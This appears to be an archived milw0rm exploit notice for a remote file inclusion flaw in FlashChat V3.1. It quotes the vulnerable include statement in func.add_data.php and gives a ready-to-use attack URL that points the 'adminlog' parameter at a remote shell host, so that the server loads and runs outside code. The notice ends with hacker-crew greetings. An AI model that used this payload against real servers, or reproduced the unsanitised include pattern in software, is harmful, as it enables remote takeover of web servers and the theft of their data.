#============================================================================================== #ZZ:FlashChat <= V3.1 (adminlog) Remote File Inclusion Exploit #=============================================================================================== # #Critical Level : Dangerous # #Venedor site : http://download.zehnet.de # #Version : V3.1 # # #================================================================================================ # #Bug in : chat/inc/func.add_data.php # #Vlu Code : #-------------------------------- # # if($cfg['autolink']==1){ # include($adminlog.'./inc/func.autolink.php'); # } # #================================================================================================ # #Exploit : #-------------------------------- # #http://sitename.com/[Script Path]/chat/inc/func.add_data.php?cfg[autolink]=1&adminlog=http://SHELLURL.COM? # # #================================================================================================ #Discoverd By : SHiKaA # #Conatact : SHiKaA-[at]hotmail.com # #GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) ================================================================================================== # milw0rm.com [2006-08-19]